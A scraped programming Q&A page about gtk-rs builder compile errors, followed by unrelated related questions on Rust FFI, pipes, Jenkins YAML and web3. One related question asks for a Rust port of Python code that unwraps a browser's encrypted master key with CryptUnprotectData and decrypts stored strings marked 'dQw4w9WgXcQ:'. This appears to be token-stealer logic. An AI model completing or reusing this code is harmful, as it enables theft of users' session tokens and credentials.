I'm trying to follow along with this hello world application with gtk and Rust
use gtk::prelude::*;
use gtk::{Application, ApplicationWindow};
fn main() {
let app = Application::builder()
.application_id("org.example.HelloWorld")
.build();
app.connect_activate(|app| {
// We create the main window.
let win = ApplicationWindow::builder()
.application(app)
.default_width(320)
.default_height(200)
.title("Hello, World!")
.build();
// Don't forget to make all widgets visible.
win.show_all();
});
app.run();
}
I am having some trouble getting the example to compile, the compile errors I get are
error[E0599]: no function or associated item named `builder` found for struct `Application` in the current scope
--> src/main.rs:5:28
|
5 | let app = Application::builder()
| ^^^^^^^ function or associated item not found in `Application`
error[E0599]: no function or associated item named `builder` found for struct `ApplicationWindow` in the current scope
--> src/main.rs:11:38
|
11 | let win = ApplicationWindow::builder()
| ^^^^^^^ function or associated item not found in `ApplicationWindow`
Here is my Cargo.toml file -
[package]
name = "color-picker"
version = "0.1.0"
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = "0.4"
futures = "0.3"
atk = "^0"
glib-sys = "^0"
gobject-sys = "^0"
glib = "^0"
gio = "^0"
gdk = "^0"
gdk-pixbuf = "^0"
gtk = "^0"
once_cell = "^0"
pango = "^0"
pangocairo = "^0"
cascade = "^0"
cairo-rs = { version = "^0", features = ["png"] }
[features]
#default = ["gtk_3_22_30"]
gtk_3_18 = ["gtk/v3_18", "gdk-pixbuf/v2_32", "gdk/v3_18", "gio/v2_46", "glib/v2_46", "pango/v1_38"] #for CI tools
gtk_3_22_30 = ["gtk_3_18", "gtk/v3_22_30", "gdk-pixbuf/v2_36", "gdk/v3_22", "gio/v2_56", "glib/v2_56", "pango/v1_42"] #for CI tools
gtk_3_24 = ["gtk_3_22_30", "gtk/v3_24", "atk/v2_30", "gdk-pixbuf/v2_36_8", "gdk/v3_24", "gio/v2_58", "glib/v2_58"] #for CI tools
Am I missing something in order to get this to compile?
Thanks!
Edit: Fixed Cargo.toml file
Your Cargo.toml is still incorrect after the edit.
It most likely should look like this instead:
[package]
name = "color-picker"
version = "0.1.0"
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
gtk = "0.14.0"
referencing the gtk crate from crates.io.
Related
I am trying to translate a long algorithm written in python to rust. The algorithm works by reading a key from a file, and then using that key to decrypt strings of text with AES - GCM. In python, this works perfectly with the Crypto.Cipher module. When searching for an equivalent crate in rust, I found aes_gcm, and tried following the example.
The password is stored encoded in base64, and when decoded, it converts to a non-UTF array of bytes, which I dont know if it is a source of the problem.
Firstly I tried creating a key first like in the example, via let key = Aes256Gcm::generate_key(password);, where password was a String, or a &str, none of which worked. By reading the errors, I discovered the key should be a GenericArray. When searching github for code example usage, I saw the only method for creating these is the GenericArray::from_slice(), which I tried by passing a Vector converted to a slice. This however yields the following error
thread 'main' panicked at 'assertion failed: `(left == right)`
left: `267`,
right: `32`'
267 is the length of the password, therefore, I re-read the original algorithm and discovered it aplied a function to the key before using it, particularly, master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] from the win32crypt - CryptUnprotectData module. I also dont know how to translate this bit of code, but for testing purposes, I extracted the password the python algorithm yields, and inputed it directly to my rust code just as a test.
This time, an aead::Error is yielded, without further context. I dont know where im going wrong with all of this, and I don't have extensive knowledge of AES - GCM, so any help would be apreciated.
This is also the rust code which throws the errors. Note that all the ranges done to the original key are just translated from the python algorithm. The commented lines are past things attempted just as examples
fn decrypt_encrypted_strings(input_string: String, password: &Vec<u8>) -> String {
//let format_password: BlockRng = BlockRng::new(password);
//let key = Aes256Gcm::generate_key(password.into());
//let key = GenericArray::from_slice(&password[..]);
let key = GenericArray::from_slice(b"S\x06\x82VY\xe2E\x88\xa0\xc6\xe5ER?\xce!\xe1\xcf\x9b\xeb\xe3\xc1\xe39\xf0\x85\xa6\x97d\xc88\xe4"); // using password extracted by python algorithm directly
let cipher = Aes256Gcm::new(&key);
let nonce = Nonce::from_slice(&input_string[3..15].as_bytes());
let plaintext = match cipher.decrypt(nonce, &*input_string[15..].as_ref()) {
Ok(v) => v,
Err(e) => {
println!("error: {}", e);
return String::new()
}
};
println!("{:?}", plaintext);
return String::from(plaintext); // I know this is an error, but its not the problem
}
And this is where it is being called, the encoded strings are being parsed out of a file
for line in s.lines() {
if let mat = re.captures(line) {
if let Some(mat) = mat {
let text = decrypt_encrypted_strings(mat.get(0).unwrap().as_str().to_string(), &bytes); // here the string is being decrypted
if !decrypted_strings.contains(&text) {
decrypted_strings.push(text);
}
}
}
}
This is the python algorithm I am trying to translate
import os
import base64
import json
import winreg
from re import findall, match
import requests
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def grab_data():
# Initialization and searching of paths not shown as it is not relevant
regex = r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$]*"
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in findall(regex, line):
plaintext_string = decrypt_password(base64.b64decode(y[:y.find('"')].split('dQw4w9WgXcQ:')[1]), get_master_key(<path_to_password_file>))
if not plaintext_string in strings:
strings.append(plaintext_string)
return strings
def decrypt_password(buff, master_key):
try:
# Initialization Vector
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(path):
with open(path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
data = grab_data()
Summary
I have some Cython code to interact with a 3rd party C++ driver library for a USB device. I am able to call the library from Python and open a device session. However, when I try to call the library from Rust using the FFI, I run into issues. Unfortunately, the 3rd party library is closed-source, so the best I can do is make sure my implementation is identical in Python and Rust.
Working Python/Cython Implementation (Python 3.9)
# main.py
from driver import Driver
def main():
print(f"DriverVersion: {Driver.get_driver_version().decode()}")
d = Driver()
success = d.initialize_session()
d.close_session()
assert success
if __name__ == "__main__":
main()
# driver.pxd
from libcpp cimport bool
cdef extern from "NrtControl.h":
bool NrtOpenDevice( const char *cpPort, int *piSession )
bool NrtCloseDevice( int iSession )
const char * NrtGetDriverVersion()
# driver.pyx
cdef class Driver:
cdef int iSession
cdef char *cpComport
def __init__(self):
self.iSession = 0
def initialize_session(self):
return NrtOpenDevice("COM8", &self.iSession)
#staticmethod
def get_driver_version():
return NrtGetDriverVersion()
def close_session(self):
NrtCloseDevice(self.iSession)
# setup.py
from distutils.core import Extension, setup
import numpy as np
from Cython.Build import cythonize
from Cython.Distutils import build_ext
def build():
equipment_exts = [
Extension(
name="driver",
sources=["driver.pyx"],
include_dirs=[
"C:\\Program Files\\NrtControl_for_Windows_20180921\\include",
],
library_dirs=[
"C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release"
],
libraries=["NrtControl"],
language="c++",
)
]
setup(
cmdclass={"build_ext": build_ext},
ext_modules=cythonize(
equipment_exts, compiler_directives={"language_level": 3}
),
)
if __name__ == "__main__":
build()
I run the above with python setup.py build_ext --inplace and then python .\main.py and get the following output:
DriverVersion: 1.5.5.0
Failing Rust Implementation (Rust 1.60)
// Cargo.toml
[package]
name = "nrt-ffi-bindings"
version = "0.1.0"
links = "NrtControl"
build = "build.rs"
edition = "2021"
[dependencies]
libc = "0.2"
// build.rs
fn main() {
println!("cargo:rustc-link-search=C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release");
}
// lib.rs
use libc::{c_char, c_int};
#[link(name = "NrtControl")]
extern "C" {
#[link_name = "?NrtOpenDevice##YA_NPEBDPEAH#Z"]
pub fn NrtOpenDevice(cpPort: *const c_char, piSession: *mut c_int) -> bool;
#[link_name = "?NrtCloseDevice##YA_NH#Z"]
pub fn NrtCloseDevice(iSession: c_int) -> bool;
#[link_name = "?NrtGetDriverVersion##YAPEBDXZ"]
pub fn NrtGetDriverVersion() -> *const c_char;
}
#[cfg(test)]
mod tests {
use std::ffi::{CStr, CString};
use super::*;
#[test]
fn open_close() {
unsafe {
println!(
"DriverVersion: {}",
CStr::from_ptr(NrtGetDriverVersion()).to_str().unwrap()
);
let port = CString::new("COM8").unwrap();
let session: c_int = 0;
let success = NrtOpenDevice(port.as_ptr(), session as *mut c_int);
NrtCloseDevice(session);
assert!(success);
}
}
}
When I run the above with cargo test -- --test-threads=1, I get the following:
DriverVersion: 1.5.5.0
thread 'tests::open_close' panicked at 'assertion failed: success', src\lib.rs:32:13
Notes
C:\\Program Files\\NrtControl_for_Windows_20180921\\VS2017\\x64\\Release contains
NrtControl.dll and NrtControl.lib, which were provided to me by a 3rd party.
Without the link_name attributes above, I get errors at runtime about failing to resolve external symbols. I had to run dumbin.exe on NrtControl.lib and search for the proper symbol names to copy and paste. I tried to find a way to do this with bindgen, but eventually resorted to this manual process. If anyone knows how I can avoid this, please do share.
Problem
So the problem is that my Rust invocation of the NrtOpenDevice function above returns false indicating failure, and I'm out of ideas on how to troubleshoot this.
Edit 1:
Adding NrtControl.h and nrtdef.h
Edit 2:
Following #rodrigo's suggestion below, I changed the call to:
let mut session: c_int = 0;
let success = NrtOpenDevice(port.as_ptr(), &mut session);
and it works (returns true)!
I still need to figure out how to make the link_name attributes target the correct symbol names automatically, as entering them manually is going to get tedious in the future...
I have a program that takes a fd to a pipe as argument. To simplify things I am simulating the python program as follows
src/test.py
#!/usr/bin/python3
import os
import sys
fd = int(sys.argv[1])
print("fd:", fd)
r = os.fdopen(fd, 'r')
print("pipe content: ", r.read())
I am creating the pipe and passing the fd as follows
src/main.rs
use std::io::Write;
use std::os::unix::io::IntoRawFd;
fn main() {
let (pipe_reader, mut pipe_writer) = os_pipe::pipe().unwrap();
write!(pipe_writer, "write content").unwrap();
let out = std::process::Command::new("./src/test.py")
.arg(pipe_reader.into_raw_fd().to_string())
.output()
.unwrap();
println!(
"STDOUT: {}\nSTDERR: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
}
There is a fd since "STDOUT: fd: 3" get's printed by python. However, python errors with "OSError: [Errno 9] Bad file descriptor"
What's wrong with my code?
I have this yaml config file :
environmentMapping:
ci-develop:
inner: ABCD-npr-XA
outer: ABCD-npr-XB
outer-public: ABCD-npr-XC
frontend: ABCD-npr-XD
dev-develop:
inner: BCDE-npr-ZA
outer: BCDE-npr-ZB
outer-public: BCDE-npr-ZC
frontend: BCDE-npr-ZD
And would like to know how I can access a specific value.
here's my code :
configs = readYaml file: 'configs.yaml'
def env = 'ci-develop'
def zone = 'inner'
echo configs.environmentMapping.${env}.${zone}
This does not work.
How can I get the value for ci-develop -> inner ?
configs = readYaml file: 'configs.yaml'
def env = 'ci-develop'
def zone = 'inner'
echo configs.environmentMapping[env][zone]
I found an error:
ValueError: {'code': -32601, 'message': 'The method eth_sendTransaction does not exist/is not available'}
while I'm deploying a solidity smart contract in infura.io (ropsten test network). But when I tried on ganache, the contract deployed successfully on ganache testRPC.
This is code below of my Python file.
from web3 import Web3
from solcx import compile_files, link_code
import json
w3 = Web3(Web3.HTTPProvider("https://ropsten.infura.io/v3/<PROJECT_ID>"))
def separate_main_n_link(file_path, contracts):
# separate out main file and link files
# assuming first file is main file.
main = {}
link = {}
all_keys = list(contracts.keys())
for key in all_keys:
if file_path[0] in key:
main = contracts[key]
else:
link[key] = contracts[key]
return main, link
def deploy_contract(contract_interface):
# Instantiate and deploy contract
contract = w3.eth.contract(
abi=contract_interface['abi'], bytecode=contract_interface['bin'])
acct = w3.eth.account.privateKeyToAccount("<PRIVATE_KEY>")
# Get transaction hash from deployed contract
tx_hash = contract.deploy(transaction={'from': acct.address})
# Get tx receipt to get contract address
tx_receipt = w3.eth.getTransactionReceipt(tx_hash)
return tx_receipt['contractAddress']
def deploy_n_transact(file_path, mappings=[]):
# compile all files
contracts = compile_files(file_path, import_remappings=mappings)
link_add = {}
contract_interface, links = separate_main_n_link(file_path, contracts)
# print (contract_interface)
# first deploy all link libraries
# here link is refers to the second contarct "stringUtils.sol"
for link in links:
link_add[link] = deploy_contract(links[link])
# now link dependent library code to main contract binary
# https://solidity.readthedocs.io/en/v0.4.24/using-the-compiler.html?highlight=library
if link_add:
contract_interface['bin'] = link_code(contract_interface['bin'], link_add)
# return contract receipt and abi(application binary interface)
return deploy_contract(contract_interface), contract_interface['abi']
contract_address, abi = deploy_n_transact(['./contracts/Adoption.sol'])
with open('Adoption.json', 'w') as outfile:
data = {
"abi": abi,
"contract_address": contract_address
}
json.dump(data, outfile, indent=4, sort_keys=True)
And the solidity file is of version 0.5.0.
pragma solidity ^0.5.0;
contract Adoption {
address[16] public adopters;
// Retrieving the adopters
function getAdopters() public view returns (address[16] memory) {
return adopters;
}
// Adopting a pet
function adopt(uint petId) public returns (uint) {
require(petId >= 0 && petId <= 15);
adopters[petId] = msg.sender;
return petId;
}
}
But I think it doesn't effect the process of deployment of solidity smart contract on blockchain test network.
Thanks in advance.